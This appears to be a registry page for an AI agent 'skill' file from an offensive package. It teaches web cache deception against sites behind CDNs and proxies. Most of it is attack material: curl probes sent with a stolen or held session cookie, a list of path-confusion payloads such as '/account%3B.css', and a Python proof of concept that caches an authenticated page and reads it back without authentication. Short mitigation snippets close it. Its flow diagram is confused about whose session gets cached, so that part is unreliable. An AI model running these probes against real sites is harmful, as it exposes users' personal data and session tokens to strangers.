Web cache deception — trick CDN/proxy into caching authenticated responses under unauthenticated URLs, exposing PII to any visitor.
58
67%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.mdReverse proxies / CDNs cache based on URL extension or path patterns
(.css, .jpg, /static/). If the origin server returns the
authenticated page for any path, attacker tricks the cache into storing
private content under a public-cacheable URL.
GET /account.css ← attacker visits, in their own session
Cache miss → origin returns /account (authenticated, w/ user cookies in URL or response body)
Cache stores response keyed on /account.css
GET /account.css ← victim or any unauth visitor
Cache HIT → serves the attacker-cached, victim-data response# Step 1: visit authenticated page w/ a fake .css path
curl -i -H "Cookie: session=$AUTH" $TARGET/account.css | grep -E '^(HTTP|Cache|X-Cache)'
# Look for:
# Cache-Control: public, max-age=...
# X-Cache: MISS (then HIT next time)
# Content-Length consistent w/ /account page (not 404)
# Step 2: from unauth session
curl -i $TARGET/account.css | grep -E 'HTTP|Cache' && diff_response_bodiesIf the second request returns the AUTHENTICATED content of step 1 → deception confirmed.
| Variant | Path |
|---|---|
.css suffix | /account/foo.css |
.jpg suffix | /account.jpg |
/static/ prefix | /static/../account |
| Multiple slashes | /account//.css |
URL-encoded ; | /account%3B.css |
| Trailing semi-segment | /account;foo.css |
| Double extension | /account.html.css |
| Path parameter | /account.css/anything |
Each cache impl handles these differently. Cloudflare / Fastly / Akamai / Varnish all have known quirks.
This skill covers deception. Cache poisoning is a separate (overlapping) class.
webcache.cyberxecution.com for quick suffix probesimport requests
sess = requests.Session()
sess.cookies['session'] = 'AUTH_COOKIE'
# 1. Force cache of authenticated response
r1 = sess.get(f"{TARGET}/account.css")
print(f"step1 status={r1.status_code} body_hash={hash(r1.text)}")
# 2. Hit same URL unauth
r2 = requests.get(f"{TARGET}/account.css")
print(f"step2 status={r2.status_code} body_hash={hash(r2.text)}")
assert r2.text != "404 not found"
assert "private_data" in r2.text # adjust to whatever marker your auth page has| Bug | Severity |
|---|---|
| Cache deception exposing PII (email, name, balance) | Critical 8-9 |
| Cache deception of session token | Critical 9.8 (ATO) |
| Cache deception of public-only data | Informational |
| Cache poisoning of script content | Critical 9.0 (RCE-adjacent in browser context) |
# Nginx — prefix-based cache keys, NOT extension-based
location / {
proxy_pass http://origin;
proxy_cache_key "$scheme$proxy_host$uri";
add_header Cache-Control "private, no-store" always;
}
# Cloudflare — set Cache Rules to require Vary: Cookie + Authorization
# AND match by Content-Type, not URL extensionApps should send Cache-Control: private, no-store on every authenticated
response to defeat both deception and poisoning.
skills/_corpus/payloads/Web Cache Deception/skills/exploit/web/smuggling.mde34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.